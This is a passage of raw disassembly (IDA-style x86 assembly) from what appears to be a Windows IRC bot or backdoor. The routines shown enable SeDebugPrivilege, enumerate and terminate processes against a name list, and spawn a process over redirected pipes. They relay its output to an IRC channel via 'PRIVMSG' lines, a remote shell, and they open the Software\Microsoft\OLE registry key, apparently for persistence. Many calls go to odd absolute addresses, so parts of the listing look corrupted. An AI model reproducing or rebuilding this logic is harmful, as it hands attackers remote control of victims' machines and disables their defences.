sub_41994D	proc near		; CODE XREF: sub_418FA3+41p
					; sub_419198+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_4199FF
		jz	loc_4199F8
		cmp	eax, 7Bh
		ja	short loc_4199C4
		jz	short loc_4199BA
		cmp	eax, 5
		jz	short loc_4199B0
		cmp	eax, 8
		jz	short loc_4199A6
		cmp	eax, 32h
		jz	short loc_41999C
		cmp	eax, 35h
		jz	short loc_419992
		cmp	eax, 57h
		jnz	loc_419A4E
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419A6F
; ---------------------------------------------------------------------------


loc_419992:				; CODE XREF: sub_41994D+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419A6F
; ---------------------------------------------------------------------------


loc_41999C:				; CODE XREF: sub_41994D+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419A6F
; ---------------------------------------------------------------------------


loc_4199A6:				; CODE XREF: sub_41994D+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419A6F
; ---------------------------------------------------------------------------


loc_4199B0:				; CODE XREF: sub_41994D+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419A6F
; ---------------------------------------------------------------------------


loc_4199BA:				; CODE XREF: sub_41994D+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419A6F
; ---------------------------------------------------------------------------


loc_4199C4:				; CODE XREF: sub_41994D+1Aj
		sub	eax, 7Ch
		jz	short loc_4199F1
		sub	eax, 7C8h
		jz	short loc_4199EA
		dec	eax
		jz	short loc_4199E0
		dec	eax
		jnz	short loc_419A4E
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419A6F
; ---------------------------------------------------------------------------


loc_4199E0:				; CODE XREF: sub_41994D+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419A6F
; ---------------------------------------------------------------------------


loc_4199EA:				; CODE XREF: sub_41994D+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_4199F1:				; CODE XREF: sub_41994D+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_4199F8:				; CODE XREF: sub_41994D+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_4199FF:				; CODE XREF: sub_41994D+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419A38
		jz	short loc_419A31
		sub	eax, 8ADh
		jz	short loc_419A63
		dec	eax
		dec	eax
		jz	short loc_419A2A
		dec	eax
		jz	short loc_419A23
		dec	eax
		dec	eax
		jnz	short loc_419A4E
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_419A23:				; CODE XREF: sub_41994D+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_419A2A:				; CODE XREF: sub_41994D+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_419A31:				; CODE XREF: sub_41994D+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_419A38:				; CODE XREF: sub_41994D+B9j
		sub	eax, 8CAh
		jz	short loc_419A6A
		sub	eax, 17h
		jz	short loc_419A63
		sub	eax, 25h
		jz	short loc_419A5C
		sub	eax, 29h
		jz	short loc_419A55


loc_419A4E:				; CODE XREF: sub_41994D+35j
					; sub_41994D+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_419A55:				; CODE XREF: sub_41994D+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_419A5C:				; CODE XREF: sub_41994D+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_419A63:				; CODE XREF: sub_41994D+C2j
					; sub_41994D+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_419A6A:				; CODE XREF: sub_41994D+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419A6F:				; CODE XREF: sub_41994D+40j
					; sub_41994D+4Aj ...
		push	offset dword_4D8F20
		call	sub_41C006
		pop	ecx
		mov	eax, offset dword_4D8F20
		pop	ecx
		retn
sub_41994D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A81	proc near		; CODE XREF: sub_401AC7+46B8p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41DFD4
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41DFD4
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41DFB7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4C9314
		test	eax, eax
		jnz	short loc_419B11
		mov	esi, offset dword_4D8D1C
		push	offset unk_439A34
		push	esi
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	short loc_419B3A
; ---------------------------------------------------------------------------


loc_419B11:				; CODE XREF: sub_419A81+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41994D
		pop	ecx
		mov	esi, offset dword_4D8D1C
		push	eax
		push	offset dword_439A08
		push	esi
		call	sub_41C006
		add	esp, 14h


loc_419B3A:				; CODE XREF: sub_419A81+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419A81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B3F	proc near		; CODE XREF: sub_417269+45p
					; sub_417269+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 2740594h
		nop
		push	eax
		call	dword_4C92E8
		test	eax, eax
		jnz	short loc_419B5E
		leave
		retn
; ---------------------------------------------------------------------------


loc_419B5E:				; CODE XREF: sub_419B3F+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4C92C0
		test	eax, eax
		jz	short loc_419B9C
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419B85
		or	[ebp+var_8], 2
		jmp	short loc_419B89
; ---------------------------------------------------------------------------


loc_419B85:				; CODE XREF: sub_419B3F+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419B89:				; CODE XREF: sub_419B3F+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4C9370
		mov	esi, eax


loc_419B9C:				; CODE XREF: sub_419B3F+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2660000h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419B3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419BAA	proc near		; CODE XREF: sub_401AC7+7781p
					; sub_419DD9+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4C9324, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_419DA9
		cmp	dword_4C9308, ebx
		jz	loc_419DA9
		cmp	dword_4C9218, ebx
		jz	loc_419DA9
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B3F
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4C9324
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_419D9C
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4C9308
		mov	esi, dword_427078
		test	eax, eax
		jz	loc_419D97
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4C9218
		test	eax, eax
		jz	loc_419D97
		mov	edi, dword_427094
		mov	ebx, 1F0FFFh


loc_419C6E:				; CODE XREF: sub_419BAA+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_419CD5
		mov	[ebp+var_4], offset off_439A60


loc_419C7C:				; CODE XREF: sub_419BAA+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	near ptr 2840000h
		nop
		test	eax, eax
		jz	short loc_419CA4
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439AC0
		jl	short loc_419C7C
		jmp	loc_419D7D
; ---------------------------------------------------------------------------


loc_419CA4:				; CODE XREF: sub_419BAA+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419D7D
		push	0
		push	eax
		nop
		call	near ptr 2730D36h
		test	eax, eax
		jnz	loc_419D7D


loc_419CCB:				; CODE XREF: sub_419BAA+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419D7D
; ---------------------------------------------------------------------------


loc_419CD5:				; CODE XREF: sub_419BAA+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_419D68
		cmp	[ebp+arg_4], eax
		jz	loc_419D7D
		push	[ebp+var_128]
		push	8
		call	dword_4C9324
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_419D28
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4C91C4
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419D2E
		lea	eax, [ebp+var_234]
		jmp	short loc_419D34
; ---------------------------------------------------------------------------


loc_419D28:				; CODE XREF: sub_419BAA+15Cj
		push	[ebp+var_128]


loc_419D2E:				; CODE XREF: sub_419BAA+174j
		lea	eax, [ebp+var_10C]


loc_419D34:				; CODE XREF: sub_419BAA+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41C006
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h
		jmp	loc_419CCB
; ---------------------------------------------------------------------------


loc_419D68:				; CODE XREF: sub_419BAA+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419DB0


loc_419D7D:				; CODE XREF: sub_419BAA+F5j
					; sub_419BAA+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4C9218
		test	eax, eax
		jnz	loc_419C6E
		xor	ebx, ebx


loc_419D97:				; CODE XREF: sub_419BAA+9Dj
					; sub_419BAA+B3j
		push	[ebp+var_8]
		call	esi


loc_419D9C:				; CODE XREF: sub_419BAA+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B3F
		pop	ecx
		pop	ecx


loc_419DA9:				; CODE XREF: sub_419BAA+3Aj
					; sub_419BAA+46j ...
		xor	eax, eax


loc_419DAB:				; CODE XREF: sub_419BAA+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419DB0:				; CODE XREF: sub_419BAA+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 2730D36h
		nop
		test	eax, eax
		jnz	short loc_419DD4
		push	edi
		call	esi
		jmp	short loc_419DA9
; ---------------------------------------------------------------------------


loc_419DD4:				; CODE XREF: sub_419BAA+223j
		push	1
		pop	eax
		jmp	short loc_419DAB
sub_419BAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419DD9	proc near		; DATA XREF: sub_401AC7+2670o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_439C60
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C006
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419E38
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409862
		add	esp, 14h


loc_419E38:				; CODE XREF: sub_419DD9+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419BAA
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419E60
		push	offset unk_439C3C
		jmp	short loc_419E65
; ---------------------------------------------------------------------------


loc_419E60:				; CODE XREF: sub_419DD9+7Ej
		push	offset unk_439C18


loc_419E65:				; CODE XREF: sub_419DD9+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C006
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419E98
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409862
		add	esp, 14h


loc_419E98:				; CODE XREF: sub_419DD9+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415CEE
		push	[ebp+var_14]
		call	sub_40B6C9
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_419DD9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419EB7	proc near		; CODE XREF: sub_401AC7+7723p
					; sub_40B4E8+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 2680883h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_419EE9
		push	0
		push	esi
		call	near ptr 2730D36h
		nop
		test	eax, eax
		jnz	short loc_419EE9
		push	esi
		xor	edi, edi
		call	near ptr 2660000h
		nop


loc_419EE9:				; CODE XREF: sub_419EB7+1Aj
					; sub_419EB7+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_419EB7	endp

; ---------------------------------------------------------------------------
word_419EEE	dw 3356h		; DATA XREF: ___:004015E8o
		dd 56016AF6h, 56565656h, 0FFFCADE8h, 18C483FFh,	9A5C35FFh
		dd 0E8900043h, 226660Fh
		db 0EBh, 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419F0E	proc near		; CODE XREF: sub_419F3E+2Ap
					; sub_419F76+7Ep ...
		mov	eax, dword_4D9588
		push	esi
		mov	esi, dword_427078
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F22
		push	eax
		call	esi


loc_419F22:				; CODE XREF: sub_419F0E+Fj
		mov	eax, dword_4D9590
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F2F
		push	eax
		call	esi


loc_419F2F:				; CODE XREF: sub_419F0E+1Cj
		mov	eax, dword_4D9584
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F3C
		push	eax
		call	esi


loc_419F3C:				; CODE XREF: sub_419F0E+29j
		pop	esi
		retn
sub_419F0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F3E	proc near		; CODE XREF: sub_401AC7+746Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B960
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4D958C
		nop
		call	near ptr 2720000h
		test	eax, eax
		jnz	short loc_419F71
		call	sub_419F0E
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419F71:				; CODE XREF: sub_419F3E+28j
		push	1
		pop	eax
		leave
		retn
sub_419F3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F76	proc near		; CODE XREF: sub_419FFD+D3p
					; sub_419FFD+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43B4B8
		push	[ebp+arg_4]
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419FB9
		push	7D0h
		call	near ptr 268051Bh
		nop
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41C006
		add	esp, 10h
		jmp	short loc_419FD0
; ---------------------------------------------------------------------------


loc_419FB9:				; CODE XREF: sub_419F76+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_419FD0:				; CODE XREF: sub_419F76+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9354
		test	eax, eax
		jg	short loc_419FF9
		call	sub_419F0E


loc_419FF9:				; CODE XREF: sub_419F76+7Cj
		xor	eax, eax
		leave
		retn
sub_419F76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FFD	proc near		; DATA XREF: sub_41A152+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4D9594


loc_41A015:				; CODE XREF: sub_419FFD+79j
					; sub_419FFD+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4D9588
		nop
		call	near ptr 2840987h
		test	eax, eax
		jz	loc_41A0E3
		cmp	[ebp+var_4], edi
		jnz	short loc_41A078
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4D9584
		nop
		call	near ptr 28404DFh
		test	eax, eax
		jz	short loc_41A06E
		cmp	[ebp+var_8], 103h
		jnz	loc_41A107


loc_41A06E:				; CODE XREF: sub_419FFD+62j
		push	0Ah
		call	near ptr 268051Bh
		nop
		jmp	short loc_41A015
; ---------------------------------------------------------------------------


loc_41A078:				; CODE XREF: sub_419FFD+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A08F


loc_41A07F:				; CODE XREF: sub_419FFD+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A0DD
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A07F


loc_41A08F:				; CODE XREF: sub_419FFD+80j
		mov	[ebp+var_4], esi


loc_41A092:				; CODE XREF: sub_419FFD+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4D9588
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_41A12F
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4D95C8
		call	sub_419F76
		add	esp, 0Ch
		jmp	loc_41A015
; ---------------------------------------------------------------------------


loc_41A0DD:				; CODE XREF: sub_419FFD+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A092
; ---------------------------------------------------------------------------


loc_41A0E3:				; CODE XREF: sub_419FFD+45j
		push	offset unk_439CE8
		push	ebx
		push	dword_4D95C8
		call	sub_419F76
		push	[ebp+arg_0]
		call	sub_40B6C9
		add	esp, 10h
		push	1
		nop
		call	near ptr 26F0000h


loc_41A107:				; CODE XREF: sub_419FFD+6Bj
		call	sub_419F0E
		push	offset unk_439CC0
		push	ebx
		push	dword_4D95C8
		call	sub_419F76
		push	[ebp+arg_0]
		call	sub_40B6C9
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h


loc_41A12F:				; CODE XREF: sub_419FFD+C3j
		push	offset unk_439C90
		push	ebx
		push	dword_4D95C8
		call	sub_419F76
		push	[ebp+arg_0]
		call	sub_40B6C9
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h
sub_419FFD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A152	proc near		; CODE XREF: sub_401AC7+2494p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419F0E
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_433EDC
		push	esi
		call	dword_4C93C0
		test	eax, eax
		jz	loc_41A24C
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_427114
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_41A24C
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_41A24C
		mov	edi, dword_427110
		push	3
		push	esi
		push	esi
		push	offset dword_4D958C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	near ptr 2740000h
		nop
		test	eax, eax
		jz	short loc_41A24C
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BD10
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BD10
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43B4B8
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 26603BDh
		test	eax, eax
		jnz	short loc_41A254


loc_41A24C:				; CODE XREF: sub_41A152+2Fj
					; sub_41A152+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A302
; ---------------------------------------------------------------------------


loc_41A254:				; CODE XREF: sub_41A152+F8j
		push	[ebp+var_4]
		mov	edi, dword_427078
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4D9588, eax
		mov	eax, [ebp+var_8]
		mov	dword_4D9590, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4D9584, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4D95C8, eax
		jz	short loc_41A28E
		push	[ebp+arg_4]
		jmp	short loc_41A28F
; ---------------------------------------------------------------------------


loc_41A28E:				; CODE XREF: sub_41A152+135j
		push	ebx


loc_41A28F:				; CODE XREF: sub_41A152+13Aj
		push	offset dword_4D9594
		call	sub_41C006
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_439D4C
		call	sub_40B3AD
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43C248[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419FFD
		push	esi
		push	esi
		nop
		call	near ptr 26805C5h
		cmp	eax, esi
		mov	dword_43C254[edi], eax
		jnz	short loc_41A300
		call	near ptr 2680DCDh
		nop
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_439D18
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415CEE
		add	esp, 10h


loc_41A300:				; CODE XREF: sub_41A152+185j
		xor	eax, eax


loc_41A302:				; CODE XREF: sub_41A152+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A152	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A307	proc near		; DATA XREF: sub_401AC7+2DD8o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A34E
		call	sub_41A367
		jmp	short loc_41A353
; ---------------------------------------------------------------------------


loc_41A34E:				; CODE XREF: sub_41A307+3Ej
		call	sub_41A68B


loc_41A353:				; CODE XREF: sub_41A307+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B6C9
		pop	ecx
		push	0
		call	near ptr 26F0000h
		nop
sub_41A307	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A367	proc near		; CODE XREF: sub_41A307+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4C93D4, edi
		jnz	loc_41A499
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4C9374
		test	eax, eax
		jnz	short loc_41A3F2
		mov	ax, word_438AC0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B960
		pop	ecx
